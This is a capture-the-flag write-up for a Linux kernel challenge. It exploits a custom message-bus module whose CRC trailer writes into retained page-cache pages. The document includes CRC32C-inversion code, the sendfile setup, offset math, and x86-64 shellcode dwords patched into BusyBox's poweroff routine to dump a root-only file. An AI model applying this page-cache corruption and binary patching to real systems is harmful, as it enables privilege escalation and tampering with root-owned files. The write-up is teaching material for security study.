$ cat writeup.md…
$ cat writeup.md…
d3c2026
Task: Exploit a custom Linux kernel message-bus module whose CRC projection mutates retained file-backed pages. Solution: Invert CRC32C for chosen dword writes, patch BusyBox's poweroff implementation, and trigger it from the root init script.
「 Everynight I look to the skies and wonder what we did Always a naive point of view that breaks us in the end
The archive provides a Linux 7.1.4 kernel, a QCOW2 root filesystem, the custom d3kbus.ko module, and a QEMU runner. The objective is to escape the unprivileged ctf shell and read the root-only flag.
run.sh boots an x86-64 guest with SMEP, SMAP, KASLR, and PTI enabled:
-cpu kvm64,+smep,+smap -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init quiet kaslr pti=on oops=panic panic=1"
The relevant part of /etc/init.d/rcS is:
chown root:root /flag chmod 0400 /flag insmod /root/d3kbus.ko cd /home/ctf su ctf -c sh poweroff -d 0 -f
Thus the module is available to the unprivileged shell, while /flag can only be opened by root. Once that shell exits, the still-root init script runs BusyBox's poweroff applet.
The supplied module retains symbols, DWARF, and BTF. That made it possible to recover the two control ioctls and the producer/subscriber protocol without guessing:
#define D3KBUS_IOC_CREATE 0xc0186101UL #define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL #define D3KBUS_WIRE_MAGIC 0x3361626eU #define D3KBUS_FRAME_MAGIC 0x74747261U struct d3kbus_wire_header { /* 32 bytes */ uint32_t magic; uint16_t header_length, flags; uint32_t payload_length, stream_id, user_tag, reserved; uint64_t opaque; } __attribute__((packed)); struct d3kbus_frame_header { /* 48 bytes */ uint32_t magic; uint16_t header_length, flags; uint32_t channel_id, stream_id; uint64_t sequence, opaque; uint32_t user_tag, payload_length, window_offset, reserved; } __attribute__((packed));
Creating a channel returns a producer fd, channel ID, and cookie. Subscribing with projection mode 2 and flag bit 2 requests a window projection with CRC32C.
The producer has a special direct-splice path that can retain references to the source file's page-cache pages rather than copying the payload into private storage. A CRC-enabled subscriber projects a window from that payload. The module computes a four-byte CRC trailer and commits it after the projected data.
When the payload is backed by retained external pages, the trailer is written into the same page-cache page as the source file. A 20-byte projected window therefore gives this layout:
window_offset window_offset + 16 | | v v [ 16 bytes included in CRC prefix ][ 4-byte CRC trailer ] ^ chosen write target
This turns a feature intended to emit a checksum into a four-byte file-backed page-cache write. The write is deterministic if the checksum itself can be selected.
sendfile is essentialThe first attempt spliced through a user-created pipe. It did not preserve external pages because the module checks pipe_inode_info.files: a userspace pipe has files != 0, so ingestion is deliberately forced onto the private-copy path.
Calling splice(file_fd, ..., producer_fd, ...) directly is not an alternative. Linux requires at least one endpoint of the splice(2) system call to be a pipe, so this returned EINVAL.
The working route is:
off_t off = source_base; while (left) { ssize_t n = sendfile(producer_fd, source_fd, &off, left); if (n <= 0) abort(); left -= (size_t)n; }
sendfile() uses the kernel's internal direct-splice pipe. Its pipe_inode_info.files is zero, so the module accepts the file-backed pages as external pages and reaches the vulnerable commit path.
The CRC prefix is the 48-byte subscriber frame header followed by the first 16 bytes of the projected window. Its user_tag is completely attacker-controlled and is itself covered by CRC32C.
For fixed values of every other prefix byte, CRC32C as a function of the 32-bit tag is affine over GF(2):
F(tag) = A * tag XOR b
The exploit obtains b = F(0). For every input bit i, it evaluates F(1 << i) XOR b; these 32 results are the columns of the linear map A. Ordinary XOR Gaussian elimination then solves:
A * tag = wanted_dword XOR b
The core implementation is:
memcpy(prefix + tag_offset, &(uint32_t){0}, 4); uint32_t base = crc32c(prefix, length); for (unsigned i = 0; i < 32; i++) { uint32_t x = 1U << i; memcpy(prefix + tag_offset, &x, 4); uint32_t v = crc32c(prefix, length) ^ base; uint32_t mask = x; for (int bit = 31; bit >= 0; bit--) { if (!(v & (1U << bit))) continue; if (basis_v[bit]) { v ^= basis_v[bit]; mask ^= basis_x[bit]; } else { basis_v[bit] = v; basis_x[bit] = mask; break; } } } uint32_t v = wanted_dword ^ base, tag = 0; for (int bit = 31; bit >= 0; bit--) { if (!(v & (1U << bit))) continue; v ^= basis_v[bit]; tag ^= basis_x[bit]; }
After putting the solved tag into the wire header, both subscribers produce the selected trailer and the external backing page receives the selected little-endian aligned dword.
The producer message is limited to 64 KiB, but sending an entire target file is unnecessary. For an aligned target offset, the final exploit sends only the one- or two-page slice containing the write:
off_t source_base = target & ~(off_t)0xfff; uint32_t target_relative = (uint32_t)(target - source_base); if (target_relative < 16) { source_base -= 0x1000; target_relative += 0x1000; } uint32_t window_offset = target_relative - 16; uint32_t payload_length = target_relative + 4;
The preceding page is included only when fewer than 16 bytes exist before the target in its current page. The projection is configured with window_offset and window_length = 20; consequently, its four-byte trailer lands exactly at target. Because sendfile starts at source_base, the retained pages still belong to the original file even when that file is much larger than the message limit.
The complete implementation is in the accompanying exploit.c; its pagecache_write4(path, target, value) function creates a fresh channel, creates two CRC window subscribers, solves the tag, uses sendfile, drains both frames, and verifies the committed value with pread.
rcSThe initial plan replaced the final poweroff command in /etc/init.d/rcS with a command that would display the protected file. All four dword writes committed successfully, proving the primitive.
It still failed because the script is only 764 bytes long. BusyBox ash had already buffered and parsed the remainder of the script before blocking in su ctf -c sh. After the child shell exited, ash executed its previously parsed poweroff command rather than rereading the modified page cache.
/etc/passwdChanging the ctf entry to UID/GID zero also committed. It did not provide an execution path: /bin/su was not SUID and reported that it had to be SUID, while the root filesystem contained no SUID or SGID regular executable that could consume the changed identity.
poweroffBusyBox is a roughly 2.7 MB static, non-PIE x86-64 executable. analyze_busybox.py reconstructed its generated applet tables:
applet_names: VA 0x655f64, file offset 0x255f64, 402 names applet_main: VA 0x6911f0, file offset 0x2901f0 poweroff: applet index 242 dispatch: VA 0x691980, file offset 0x290980 target: VA 0x5ea059, file offset 0x1ea059
The halt, poweroff, and reboot applets all point to the same implementation at 0x5ea059. Redirecting the dispatch slot to an existing applet was insufficient: cat_main or sh_main would inherit argv = ["poweroff", "-d", "0", "-f"], which does not name the protected file or form a useful shell command.
Instead, overwrite the shared function entry with direct x86-64 syscall shellcode:
f30f1efa31c05048b92f666c616700000051545f505eb0020f05966a015f996a7f415a6a28580f056a3c5831ff0f05
It performs:
open("/flag", O_RDONLY) sendfile(1, returned_fd, NULL, 127) exit(0)
The first four bytes remain endbr64, preserving a valid CET indirect-branch target. The function starts at file offset 0x1ea059, one byte after an aligned dword boundary. The byte at 0x1ea058 need not change; only eleven aligned dwords from 0x1ea05c through 0x1ea084 differ:
static const struct { off_t off; uint32_t value; } patch[] = { { 0x1ea05c, 0x50c031fa }, { 0x1ea060, 0x662fb948 }, { 0x1ea064, 0x0067616c }, { 0x1ea068, 0x54510000 }, { 0x1ea06c, 0xb05e505f }, { 0x1ea070, 0x96050f02 }, { 0x1ea074, 0x995f016a }, { 0x1ea078, 0x5a417f6a }, { 0x1ea07c, 0x0f58286a }, { 0x1ea080, 0x583c6a05 }, { 0x1ea084, 0x050fff31 }, };
busybox_poweroff_patch.py independently builds the patched file, disassembles the payload with Capstone, and emulates it with Unicorn. The syscall hooks verify the exact open, sendfile, and exit sequence and arguments before the kernel exploit is attempted.
Build exploit.c as a static x86-64 executable using an available musl cross-compiler:
x86_64-linux-musl-gcc -static -O2 -Wall -Wextra -o exploit exploit.c
Upload it to the guest. The provided run_remote.exp automates the original TLS connection by base64-encoding the binary in small chunks. At the unprivileged prompt, the essential commands are:
chmod +x /tmp/exploit /tmp/exploit --patch-poweroff exit
The exploit verifies all eleven writes to /bin/busybox. Exiting returns control to root's rcS, which invokes poweroff -d 0 -f. BusyBox dispatches that applet through the now-patched shared halt entry, and the replacement code writes the protected file to standard output.
Local testing on an ARM64 host required x86 TCG. That setup intermittently panicked in kmem_cache_alloc_noprof; this instability was unrelated to the deterministic page-cache write and was not part of the exploit.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar